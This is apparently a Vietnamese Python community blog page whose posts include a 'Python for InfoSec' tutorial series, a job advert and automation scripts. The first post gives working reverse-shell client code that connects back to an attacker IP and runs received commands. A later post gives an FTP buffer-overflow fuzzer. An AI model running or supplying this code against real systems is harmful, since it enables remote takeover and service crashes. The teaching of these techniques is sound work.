Python for InfoSec: Demo TCP Reverse Shell

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec: Demo TCP Reverse Shell
Th2 112019
 

Ví dụ này demo lại quá trình tấn công vào máy nạn nhân và thực hiện các câu lệnh như: ipconfig, dir … nhằm mục đích đánh cắp và thay đổi thông tin.

Client

# Python For Security Pycon.vn
# Email: khanhnn@pythonvietnam.info
# Basic TCP Client
import socket                     # For Building TCP Connection
import subprocess                 # To start the shell in the system
def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        # start a socket object 's' 
    s.connect(('172.16.12.95', 8081))                            # Here we define the Attacker IP and the listening port
 
    while True:                                                 # keep receiving commands from the Kali machine
        command =  s.recv(1024)                                 # read the first KB of the tcp socket
        
        if 'terminate' in command:                  # if we got termiante order from the attacker, close the socket and break the loop
            s.close()
            break 
        
        else:                                      # otherwise, we pass the received command to a shell process
            
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read()  ) # send back the result
            s.send( CMD.stderr.read()  ) # send back the error -if any-, such as syntax error

def main ():
    connect()
main()

Server

# Python For Security Pycon.vn
# Email: khanhnn@pythonvietnam.info
# Simple TCP Server 
import socket    # For Building TCP Connection

def connect():
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # start a socket object 's'
    
    s.bind(("172.16.12.95", 8081))                           # define the kali IP and the listening port
    
    s.listen(1)                                             # define the backlog size, since we are expecting a single connection from a single
                                                            # target we will listen to one connection
    
    print '[+] Listening for incoming TCP connection on port 8080'
    
    conn, addr = s.accept()     # accept() function will retuen the connection object ID (conn) and will return the client(target) IP address and source
                                # port in a tuple format (IP,port)
    

Chúc các bạn thành công !

Python Việt Nam tuyển dụng

 Tuyển dụng  Chức năng bình luận bị tắt ở Python Việt Nam tuyển dụng
Th2 102019
 

Do nhu cầu về nhân lực lập trình viên Python, một số doanh nghiệp có nhu cầu tuyển dụng lập trình viên/ thực tập lập trình viên, Python Việt Nam xin làm cầu nối doanh nghiệp với các bạn. Yêu cầu cụ chung như sau:

A. Với vị trí thực tập:
-Sinh viên công nghệ, yêu thích Python.
-Định hướng nghề nghiệp: làm việc với ngôn ngữ Python.

B. Với vị trị lập trình viên:
Có kinh nghiệp với ngôn ngữ Python
Có tư duy thuật toán
Có nhu cầu chuyển việc hoặc tìm việc làm thêm.

Bạn vui lòng hoàn thành biểu mẫu dưới đây.
https://goo.gl/forms/5rBQ1wpSu1Co6ORH2
Skype: khanhnnvn
Mobile: 09186 12485
Lưu ý:
CV ghi rõ các khả năng, kinh nghiệm cũng như yêu cầu của bạn.
p/s: BQT sẽ email chi tiết cho các bạn về doanh nghiệp bạn sẽ được giới thiệu.

Sử dụng paramiko để check máy chủ

 Python System  Chức năng bình luận bị tắt ở Sử dụng paramiko để check máy chủ
Th2 102019
 

Chào các bạn,

Để check thông tin một máy chủ, các bạn thường ssh đến và check các thông số theo ý muốn, việc này đơn giản nhưng số lượng máy chủ càng lớn, công việc càng nhàm. Để giải quyết việc này các bạn hoàn toàn có thể sử dụng chương trình tự động. Ví dụ dưới đây để làm việc đó.

import paramiko
import time
 
 
def disable_paging(remote_conn):
    '''KhanhNN'''
 
    remote_conn.send("terminal length 0\n")
    time.sleep(1)
    output = remote_conn.recv(1000)
    return output
if __name__ == '__main__':
    ip = '192.168.0.36'
    username = 'khanhnnvn'
    password = '1111111'
    remote_conn_pre = paramiko.SSHClient()
    remote_conn_pre.set_missing_host_key_policy(
        paramiko.AutoAddPolicy())
    remote_conn_pre.connect(ip, username=username, password=password, look_for_keys=False, allow_agent=False)
    print "SSH connection established to %s" % ip
    remote_conn = remote_conn_pre.invoke_shell()
    print "Interactive SSH session established"
    output = remote_conn.recv(1000)
    print output
    disable_paging(remote_conn)
    remote_conn.send("\n")
    remote_conn.send("df -h\n")
    remote_conn.send("service --status-all | grep running\n")
    time.sleep(2)
    output = remote_conn.recv(5000)
    print output

Sau khi chạy ta có thông tin như sau:

alt text

Chúc các bạn thành công.

Python – tìm kiếm goolge tự động

 Python System  Chức năng bình luận bị tắt ở Python – tìm kiếm goolge tự động
Th2 102019
 

Hi các bạn,
Hôm nay ngồi rảnh mình viết 1 chương trình tự động truy cập vào google và search với từ khoá cho trước.
Yêu cầu:

  • Python 3.6
  • Selenium

Code mẫu của mình như sau:

import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
 
 
def init_driver():
    driver = webdriver.Firefox()
    driver.wait = WebDriverWait(driver, 5)
    return driver
 
 
def lookup(driver, query):
    driver.get("http://www.google.com")
    try:
        box = driver.wait.until(EC.presence_of_element_located(
            (By.NAME, "q")))
        button = driver.wait.until(EC.element_to_be_clickable(
            (By.NAME, "btnK")))
        box.send_keys(query)
        button.click()
    except TimeoutException:
        print("Box or Button not found in google.com")
 
 
if __name__ == "__main__":
    driver = init_driver()
    lookup(driver, "Python Viet Nam")
    time.sleep(5)
    driver.quit()

Chúc các bạn thành công.

Python for InfoSec Part 5: Spidering

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 5: Spidering
Th2 102019
 

Spidering:

Loạt bài hướng dẫn này sẽ giới thiệu về một vài modules mới (optparse,spider) để thực hiện một vài nhiệm vụ của spidering trên ứng dụng web. Spidering là một tiến trình dựa vào link ở phần nội dung của ứng dụng web để xây dựng các site map. spidering tận dụng tốt python nhằm tạo ra các script một cách nhanh chóng
Bạn có thể tạo ra các script crawler bằng việc phân tích các thẻ href trong phản hồi, sau đó tạo yêu cầu bổ xung.

Bạn cũng có thể tận dụng các module Python được gọi là “Spider” để thực hiện điều đó trọng một vài dòng code như sau:

Spider

Có một vài các lựa chọn mà bạn có thể cấu hình nó để biết spider nó hoạt động như thế nào “myspider(b=URL.strip(), w=200, d=5, t=5)”. Hàm này sẽ trả về hai danh sách của URLs con và đường dẫn. Bạn có thể thay đổi cách hoạt động của spider bằng cách thay đổi các tham số truyền cho hàm myspider:
b- đường dẫn của web ( mặc định là None)
w- lượng tài nguyên để thu thập ( mặc định là 200)
d- độ sâu để quét ( mặc định là 5)
t- số luồng ( mặc định là None)

Bài viết này chỉ là một cái nhìn sơ qua về cách sử dụng Python tương tác với các thành phần của web. Có một vài trường hợp nâng cao hơn cho sự tương tác tài nguyên web. Trong thời gian tới Blog sẽ tập trung vào một số trường hợp cao cấp hơn bởi các cuộc tấn công vào máy chủ web.
Đoạn mã tận dụng các module Python spider:

#!/usr/bin/python
from spider import webspider as myspider
import sys, optparse
 
def crawler(URLs):
        for line in open(URLs, 'r'):
                URL = line.strip()
                links = myspider(b=URL.strip(), w=200, d=5, t=5)
                link_count = len(links[0])
                out = URL+": has a link count of "+str(link_count)
                print "[+] Web Crawl Results for: "+URL
                print out
                for item in links[1]:
                        print item
 
def main():
# This optparse module allows you to build command line switches in your scripts
# This will set the usage to '-r' and have it stored to a variable URLs
# Then we will open the file given at the command line with -r and attempt to spider
        parser = optparse.OptionParser(sys.argv[0]+' '+
        '-r <file_with URLs>')
        parser.add_option('-r', dest='URLs', type='string', 
                help='specify target file with URLs')
        (options, args) = parser.parse_args()
        URLs=options.URLs
 
        if (URLs == None):
                print parser.usage
                sys.exit(0)
        else:
                crawler(URLs)
 
if __name__ == "__main__":
      main()

Python for InfoSec Part 4: Web Requests

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 4: Web Requests
Th2 102019
 

Tutorial này sẽ chỉ cách tạo web request sử dụng Python. Có một vài module Python giúp dễ dàng tạo web requests/responses (httplib, Mechanize, Beautiful Soup, và urllib/urllib2). Hãy cài những module này và thử những tính năng của nó.

TẠO MỘT WEB REQUEST:

Dưới đây là ảnh chụp màn hình minh họa cho cú pháp để tạo một web request đối với web server local chạy với Python’s SimpleHTTPServer:

PHÂN TÍCH HTML:

Hình dưới đây minh họa việc dùng module BeautifulSoup để phân tích HTML dựa vào các thẻ HTML.

Sức mạnh của BeautifulSoup đến từ khả năng phân tích HTML dựa vào các thẻ. Bạn có thể dùng hàm “find_all”, ví dụ: “iframes = parsed.find_all(‘iframe’)”.

ỨNG DỤNG:

Hãy tìm một web resource giúp bạn tạo nhiều truy vấn. Các Python script sẽ giúp bạn tự động hóa công việc này. Một web resource mà bản thân tôi thường sử dụng là iplist.net, nó có thể cho tôi biết nhiều tên miền khác nhau cùng trỏ đến một địa chỉ IP nào đó.

Trước khi bắt đầu, hãy xem xét 2 điều:

  • Cấu trúc của URL mà bạn muốn request.
  • Kiểu response bạn muốn là gì

Cấu trúc của iplist.net đơn giản là ‘http://iplist.net/ip/‘ – nên bạn có thể dễ dàng đọc các IP trong một file và lặp qua chúng. Tiếp đến là tạo một request và sau đó xem xét source code để tìm thấy phần bạn muốn. Trong ví dụ này chúng ta có thể xem và thấy rằng thẻ header “domain_name” – nên chúng ta có thể sử dụng BeautifulSoup chỉ để giải mã phần này. Dưới đây là ví dụ minh họa

Firebug là một công cụ hữu dụng khi phân tích source code của một ứng dụng web.

Đây là quy trình bạn sẽ trải qua khi phân tích các response trả về. Sau đó bạn có thể tìm và in ra những thông tin mà bạn cần.

Đây là link cho nhiều script (Primal Security) phức tạp hơn khi làm việc với iplist.net

Python for InfoSec Part 3: Fuzzer

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 3: Fuzzer
Th2 102019
 

Ghi chú: fuzzing là một kỹ thuật liên quan đến testing và security.
Bài viết này sẽ chứng minh cách bạn có thể tận dụng Python để tạo ra một fuzzer script .Khi thực hiện một nghiên cứu nó rất hữu dụng đối với ngôn ngữ kịch bản trong việc đưa một số lượng đầu vào đa dạng để làm cho một ứng dụng bị lỗi (crash).

Đầu tiên là phải hiểu làm thế nào ứng dụng có thể xử lý được đầu vào từ người dùng. Một khi chúng ta biết được loại đầu vào nào được đưa vào chúng ta có thể phân cấp cho nó. Ý tưởng đơn giản là kết nối đến dịch vụ, gửi bộ đệm, gia tăng nó lên, và sau đó cứ tiếp tục như vậy. Chúng ta có thể lưu trữ nó với vòng lặp while và lặp cho đến khi có lỗi với “while True”.

Đây là một script đơn giản (Code giả lập):

<import modules> # thường sẽ là socket, sys, nhưng nếu là ứng dụng web thì có thể import httplib, urllib, vv.
 
# Set up remote IP/Port variables
# Invoke the script: ./script.py  
RHOST = sys.argv[1]
RPORT = sys.argv[2]
 
# Khởi tạo chuỗi đệm và gia tăng cho đến khi có khả năng bị crash
buffer = '\x41'*50
 
# Tạo vòng lặp để kết nối đến dịch vụ và gửi bộ đệm:
while True:
    try:
        # send buffer
        # increment buffer by 50
        buffer = buffer + '\x41'*50
    except:
print "Buffer Length: "+len(buffer)
print "Can't connect to service...check debugger for potential crash"

Đoạn script trên có thể được sử dụng cho một số loại dịch vụ khác nhau. Bạn cũng có thể xây dụng script của bạn dựa trên loại dịch vụ mà bạn thích fuzz. Dưới đây là một ví dụ về script dùng để fuzz một FTP server trong “USER” command.

# Import the required modulees the script will leverage
# This lets us use the functions in the modules instead of writing the code from scratch
import sys, socket
from time import sleep
 
# set first argument given at CLI to 'target' variable
target = sys.argv[1]
# create string of 50 A's '\x41'
buff = '\x41'*50
 
# loop through sending in a buffer with an increasing length by 50 A's
while True:
    # The "try - except" catches the programs error and takes our defined action
    try:
        # Make a connection to target system on TCP/21
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((target,21))
        s.recv(1024)
 
        print "Sending buffer with length: "+str(len(buff))
        # Send in string 'USER' + the string 'buff'
        s.send("USER "+buff+"\r\n")
        s.close()
        sleep(1)
        # Increase the buff string by 50 A's and then the loop continues
        buff = buff + '\x41'*50
 
    except: # If we fail to connect to the server, we assume its crashed and print the statement below
        print "[+] Crash occured with buffer length: "+str(len(buff)-50)
        sys.exit()

Bài viết này đã chỉ ra một vài điều cơ bản của khái niệm fuzzer script, nhớ rằng không phải loại ứng dụng nào gửi chuỗi đệm ‘\x41’ cũng sẽ làm nó bị lỗi Trong một vài trường hợp bạn cần gửi nhiều kiểu ký tự khác nhau để tạo ra được lỗi. Một công cụ fuzzing nâng cao hơn là Spike, cái này sẽ gửi một số lượng lớn các kiểu ký tự khác nhau để cố gắng crash được dịch vụ. Hãy cố gắng thực hành tạo một Python fuzzer là HTTP request đến một dịch vụ thay vì FTP server.

Python for InfoSec Part 2: Scan Port

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 2: Scan Port
Th2 102019
 

Trong bảo mật việc xác định dịch vụ đang chạy ở cổng nào nhằm bảo mật cho cổng kết nối đó là một việc quan trọng và rất cơ bản. Việc đầu tiên là chúng ta sẽ sinh ngẫu nhiên các cổng kết nối với một danh sách có sẵn sau đó kiểm tra từng cổng đó.
Giả sử tôi sẽ thử sinh như sau:

>>>
>>> for port in range(1000,1024):
...   print "[+] The port is: "+str(port)
...
[+] The port is: 1000
[+] The port is: 1001
[+] The port is: 1002
[+] The port is: 1003
[+] The port is: 1004
[+] The port is: 1005
[+] The port is: 1006
[+] The port is: 1007
...

Tiếp theo chúng ta sẽ thử kết nối đến máy chủ với các cổng có sẵn. Trong ví dụ sau chúng tôi sẽ dùng thư viện socket để tạo kết nối:

>>>
>>> import socket
>>>
>>> s = socket.socket()
>>> s.connect(('127.0.0.1', 22))
>>> s.send('Python Viet Nam\n')
17
>>> banner = s.recv(1024)
>>> print banner
OpenSSH

Ở ví dụ trên chúng ta dùng module socket và gọi hàm connect () để kết nối đến địa chỉ IP nhất định và cổng kết nối. Nếu kết nối TCP được mở (SYN/SYN-ACK/ACK) và chúng ta có thể gửi dữ liệu tới một đích nhận với hàm send(), sau đó in kết quả phản hồi với recv(). Giả sử cổng không được mở như ví dụ sau:

>>> s.connect(('127.0.0.1', 23))
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<string>", line 1, in connect
socket.error: (111, 'Connection refused')

Chúng ta sẽ phải bắt lỗi phần này ví dụ sau chúng ta đưa vào try … except

>>>
>>> try:
...   s.connect(('127.0.0.1', 23))
... except: pass
...
>>>

Giờ chúng ta sẽ thử hoàn thiện chương trình nhỏ như sau:

>>>
>>> for port in range(20,25):
...   try:
...    print "[+] Attempting to connect to 127.0.0.1:"+str(port)
...     s.connect(('127.0.0.1', port))
...     s.send('Python Viet Nam \n')    
...     banner = s.recv(1024)
...     if banner:
...       print "[+] Port "+str(port)+" open: "+banner
...     s.close()
...   except: pass
...
17
[+] Attempting to connect to 127.0.0.1:20
[+] Attempting to connect to 127.0.0.1:21
[+] Attempting to connect to 127.0.0.1:22
[+] Port 22 open: OpenSSH
[+] Attempting to connect to 127.0.0.1:23
[+] Attempting to connect to 127.0.0.1:24
[+] Attempting to connect to 127.0.0.1:25

Trong ví dụ trên, để quét các cổng chúng ta sẽ đưa vào vòng lặp for để kiểm tra.
Tiếp theo giả sử chúng ta sẽ chỉ quét một số cổng mà chúng ta chỉ định, việc đầu tiên là phải khai báo các cổng đó.
Ví dụ:

>>>
>>> ports = [22, 445, 80, 443, 3389]
>>> for port in ports:
...   print port
...
22
445
80
443
3389
>>>

Cũng tương tự với địa chỉ IP, giả sử tôi muốn quét một số cổng của một số IP. Ta có ví dụ sau:

>>>
>>> hosts = ['127.0.0.1', '192.168.1.5', '10.0.0.1']
>>>
>>> ports = [22, 445, 80, 443, 3389]
>>>
>>> for host in hosts:
...   for port in ports:
...     try:
...        print "[+] Connecting to "+host+":"+str(port)
...        s.connect((host, port))
...        s.send('Python Viet Nam \n')
...        banner = s.recv(1024)
...        if banner:
...          print "[+] Port "+str(port)+" open: "+banner
...        s.close()
...     except:pass
...
[+] Connecting to 127.0.0.1:22
[+] Port 22 open: OpenSSH
[+] Connecting to 127.0.0.1:445
[+] Connecting to 127.0.0.1:80
[+] Connecting to 127.0.0.1:443
[+] Connecting to 127.0.0.1:3389
[+] Connecting to 192.168.1.5:22
[+] Connecting to 192.168.1.5:445
[+] Connecting to 192.168.1.5:80
[+] Connecting to 192.168.1.5:443
[+] Connecting to 192.168.1.5:3389
[+] Connecting to 10.0.0.1:22
[+] Connecting to 10.0.0.1:445
[+] Connecting to 10.0.0.1:80
[+] Connecting to 10.0.0.1:443
[+] Connecting to 10.0.0.1:3389

Trên thực tế có nhiều cách khác để làm việc này tối ưu hơn ví dụ dùng một số phần mềm chuyên dụng để scan port, ip với nhiều tuỳ chọn hay và đúng đắn hơn. Các bạn có thể nghiên cứu và mở rộng chương trình của mình.
Chúc các bạn thành công, hy vọng nhận được góp ý của các bạn.

Python for InfoSec Part 1: Getting Started (continued)

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 1: Getting Started (continued)
Th2 102019
 

Tutorial này tiếp tục chỉ ra một vài khái niệm cơ bản trong Python. Chúng ta sẽ tìm hiểu qua việc đưa code vào trong một script, các hàm, các class, và module sys.

PYTHON SCRIPT:

Dưới đây là một đoạn lệnh cơ bản để bắt đầu một Python script. Chúng ra sẽ bắt đầu nói với Hệ điều hành rằng chạy file thông qua “#!/usr/bin/env python”. Sau đó tạo một hàm main bằng “def main():” và 2 dòng code cuối dùng để chạy hàm main().

#!/usr/bin/python
import <module1>, <module2>
 
def myFunction():
 
def main():
    myFunction()
 
if __name__=="__main__":
    main()

HÀM (FUNCTION):

Hàm thường là một đoạn code mà thực thi một vài tác vụ và trả về một output.

# Declare function/setup logic
def MyFunction():
    ...do work...
    return output
 
#Call the function from main:
def main():
    output = MyFunction(input)

CLASS:

Class là một cách để tổ chức các đoạn code của bạn, nó là một tập hợp logic của các dữ liệu và các thứ được khởi tạo trong nó. Class có các thuộc tính và các phương thức nhất định. Khi bạn tạo xong một class, sau đó bạn có thể tạo ra một Object của class đó, nó sẽ thừa hưởng những thuộc tính và phương thức của class bạn đã định nghĩa, đây chính là lập trình hướng đối tượng.

Khái niệm class khá khó hiểu nếu bạn mới tiếp xúc với lập trình. Thực ra bạn có thể không cần đến class, nhưng nó có thể làm cho code của bạn đỡ rườm rà hơn. Dưới đây chúng ta sẽ định nghĩa một class tên là “Domain” bằng cách sử dụng từ khóa ‘class’. Các phương thức bên trong class đó sẽ hoạt động khi bạn tạo một Object của class Domain.

>>> import os
>>> class Domain:
...     def __init__(self, domain, port, protocol):
# Stores the variabled passed inside two variables
...         self.domain = domain
...         self.port = port
...         self.protocol = protocol
# Defines a method to build a URL
...     def URL(self):
...         if self.protocol == 'https':
...             URL = 'https://' + self.domain + ':' + self.port + '/'
...         if self.protocol == 'http':
...             URL = 'http://' + self.domain + ':' + self.port + '/'
...         return URL
# Sets up a method to lookup resolve domain to IP using host command via os.system
...     def lookup(self):
...         os.system("host " + self.domain)
...
>>>
>>> domain = Domain('google.com', '443', 'https')
>>>
>>> dir(domain)
['URL', '__doc__', '__init__', '__module__', 'ip', 'lookup', 'port', 'protocol']
>>> domain.URL()
'https://8.8.8.8:443/'
>>> domain.ip
'8.8.8.8'
>>> domain.port
'443'
>>> domain.protocol
'https'
>>> domain.lookup()
google.com has address 74.125.228.233
google.com has address 74.125.228.227
google.com has address 74.125.228.232

Như bạn thấy sau khi tạo một Object của class Domain, bạn có thể chạy các phương thức của class đó.

Module cuối cùng để kết thúc bài mở đầu của chúng ta đó là module sys. Module này cho phép bạn đọc các biến và đưa chúng vào trình thông dịch như các biến dòng lệnh. Cú pháp khá đơn giản sys.argv[0]. Dưới đây là một đoạn code trong script có tên “sys.py“:

import sys
 
script = sys.argv[0]
ip = sys.argv[1]
port = sys.argv[2]
 
print "[+] The script name is: " + script
print "[+] The IP is: "+ ip +" and the port is: " + port

Khi script này được gọi vào command line cùng với một vài biến nó sẽ cho kết quả như sau:

~$ python sys.py 8.8.8.8 53
[+] The script name is: sys.py
[+] The IP is: 8.8.8.8 and the port is: 53

Hãy tiếp tục khám phá những module và những hàm có sẵn khác trong Python vì chúng sẽ giúp bạn xử lý được rất nhiều vấn đề một cách dễ dàng. Tutorial tiếp theo sẽ giới thiệu đến khái niệm tạo các kết nối mạng với Python bằng cách xây dựng một công cụ scan (quét qua các cổng) đơn giản.
Dịch giả: Mod Nguyễn Trung

Python for InfoSec Part 1: Kiến thức chung

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 1: Kiến thức chung
Th2 102019
 

Đây là bài viết đầu tiên trong series có mục đích hướng những người mới đến cả Python và lập trình nói chung. Python là một ngôn ngữ kịch bản mạnh mẽ bởi vì nó có sự hỗ trợ của cộng đồng InfoSec. Điều này nghĩa là có rất nhiều công cụ được viết bằng Python, và có rất nhiều modules có thể được ứng dụng vào trong các scripts. Modules thường là những tính năng được đưa vào scripts để thực hiện những công việc phức tạp mà chỉ cần vài dòng code.

Series này sẽ giả định bạn đang sử dụng Hệ điều hành Linux và phiên bản Python 2.x. Khi viết code Python bạn phải viết trực tiếp vào trình thông dịch hoặc viết nó vào một file nào đó rồi chạy file đó. Nhiều người thấy rằng việc viết code trực tiếp vào trình thông dịch Python rất hữu ích vì có thể kiểm tra được những lỗi logic và cú pháp trước khi lưu nó vào một file. Hãy nhớ rằng việc thụt đầu dòng trong Python rất quan trọng nhé, bạn có thể dùng nó để tạo hàm, vòng lặp…

Trình thông dịch Python:
Gõ ‘python’ trên terminal

~$ python
Python 2.7.3
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>>

Bây giờ bạn có thể nhập trực tiếp code vào trình thông dịch Python. Ví dụ dưới đây chúng ta sẽ định nghĩa 2 biến, và sử dụng hàm type() để xem chúng ta đã tạo biến kiểu string hay integer:

>>>
>>> ip = '8.8.8.8'
>>> port = 53
>>>
>>> type(ip)
<type 'str'>
>>>
>>> type(port)
<type 'int'>
>>>

Bạn có thể sử dụng hàm có sẵn help() để xem chi tiết từng hàm cụ thể. Nó sẽ giúp bạn khám phá rất nhiều tính năng hữu ích của ngôn ngữ:

>>>
>>> help(type)
>>>

Một điều nữa là bạn thường sẽ muốn cộng các biến với nhau để in ra một chuỗi. Để làm được điều này bạn phải chuyển đổi từ integer sang string bằng hàm str():

>>>
>>> print "The IP is: "+ip+" and the port is: "+str(port)
The IP is: 8.8.8.8 and the port is: 53
>>>

Vì biến ‘IP’ đã là string nên không cần chuyển như biến ‘port’. Giờ bạn đã biết hai kiểu dữ liệu cơ bản (String, và Integer). Hãy tìm hiểu những hàm khác được dùng để tương tác với những kiểu dữ liệu này.

String trong Python cho phép bạn xác định những thuộc tính riêng của nó thông qua các câu lệnh, ví dụ để kiểm tra độ dài của chuỗi với hàm len().

>>>
>>> domain='primalsecurity.net'
>>> domain
'primalsecurity.net'
>>> domain[0]
'p'
>>> domain[0:3]
'pri'
>>> domain[1:]
'rimalsecurity.net'
 
>>> len(domain)
18

Để biết được chúng ta có thể làm gì với một biến, bạn dùng hàm dir():

>>>
>>> dir(ip)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>>

Bây giờ hãy thử dùng một vài hàm ở trên xem chúng có tác dụng gì nhé. Ví dụ:

>>>
>>> help(ip.split)
>>>
>>> string = ip+':'+str(port)
>>> string
'8.8.8.8:53'
>>>
>>> string.split(':')
['8.8.8.8', '53']

Hàm split chia một string thành các list nhỏ phân cách bởi dấu ‘:’. Hàm này rất hữu dụng. Ví dụ, nếu bạn muốn lập địa chỉ IP từ list, bạn có thể xác định xác định các chỉ số (index) rồi dùng chỉ số đó để trích xuất phần tử có nội dung là địa chỉ IP. Bạn cũng có thể thêm hoặc xóa các phần tử từ list với (.append, và .remove):

>>>
>>> list = string.split(':')
>>>
>>> list
['8.8.8.8', '53']
>>>
>>> list[0]
'8.8.8.8'
>>>
>>> list.append('google')
>>> list
['8.8.8.8', '53', 'google']
>>> list.remove('google')
>>> list
['8.8.8.8', '53']
>>> 

PYTHON MODULES:

Như đã đề cập ở trên, các modules trong python rất tiện trong việc xử lý các tác vụ phức tạp chỉ với vài dòng lệnh. Bản thân ngôn ngữ Python có sẵn rất nhiều modules (os, subprocess, socket, urlib, httplib, re, sys,…) và các modules do cộng đồng đóng góp (cymruwhois, scapy, dpkt, spider,…). Để sử dụng một modules thì đơn giản chỉ cần gõ ‘import’.

>>>
>>> import os
>>>
>>> dir(os)
['EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_OK', 'NGROUPS_MAX', 'O_APPEND', 'O_ASYNC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TRUNC', 'O_WRONLY', 'P_NOWAIT', 'P_NOWAITO', 'P_WAIT', 'R_OK', 'SEEK_CUR', 'SEEK_END', 'SEEK_SET', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'UserDict', 'WCONTINUED', 'WCOREDUMP', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'X_OK', '_Environ', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_copy_reg', '_execvpe', '_exists', '_exit', '_get_exports_list', '_make_stat_result', '_make_statvfs_result', '_pickle_stat_result', '_pickle_statvfs_result', '_spawnvef', 'abort', 'access', 'altsep', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'ctermid', 'curdir', 'defpath', 'devnull', 'dup', 'dup2', 'environ', 'errno', 'error', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'extsep', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'getcwd', 'getcwdu', 'getegid', 'getenv', 'geteuid', 'getgid', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getresgid', 'getresuid', 'getsid', 'getuid', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'linesep', 'link', 'listdir', 'lseek', 'lstat', 'major', 'makedev', 'makedirs', 'minor', 'mkdir', 'mkfifo', 'mknod', 'name', 'nice', 'open', 'openpty', 'pardir', 'path', 'pathconf', 'pathconf_names', 'pathsep', 'pipe', 'popen', 'popen2', 'popen3', 'popen4', 'putenv', 'read', 'readlink', 'remove', 'removedirs', 'rename', 'renames', 'rmdir', 'sep', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'stat', 'stat_float_times', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'symlink', 'sys', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'tempnam', 'times', 'tmpfile', 'tmpnam', 'ttyname', 'umask', 'uname', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitpid', 'walk', 'write']
>>>

Như đã thấy ở trên, modules os cho ta một loạt các tính năng. Dưới đây là một đoạn lệnh in ra chuỗi “echo ‘UHJpbWFsIFNlY3VyaXR5Cg==’ | base64 -d”.

>>>
>>> os.system("echo 'UHJpbWFsIFNlY3VyaXR5Cg==' | base64 -d")
Primal Security
>>>

TẠO MỘT FILE

Bây giờ chúng ta sẽ xem một ví dụ cơ bản là làm thế nào để đọc dữ liệu từ một file và tạo ra một file trong Python. Đoạn lệnh dưới đây cho thấy cách tạo một file, và đọc/ghi dữ liệu vào file đó.

>>>
>>> file = open('test.txt', 'w')
>>> file.write('Hello World')
>>> file.close()
>>> file = open('test.txt', 'r')
>>> file.readlines()
['Hello World']
>>>

Hãy luyện tập những kiến thức trên thật nhiều bởi vì chúng sẽ được sử dụng để xử lý những ví dụ phức tạp trong các tutorial sau này. Khi viết lệnh, tôi thích có 2 cửa sổ terminal song song với nhau, một để viết code trực tiếp vào trình thông dịch Python, và cái kia để đưa các lệnh đã kiểm tra vào trong script. Tutorial tiếp theo sẽ đề cập đến các khái niệm khác, class, và module sys.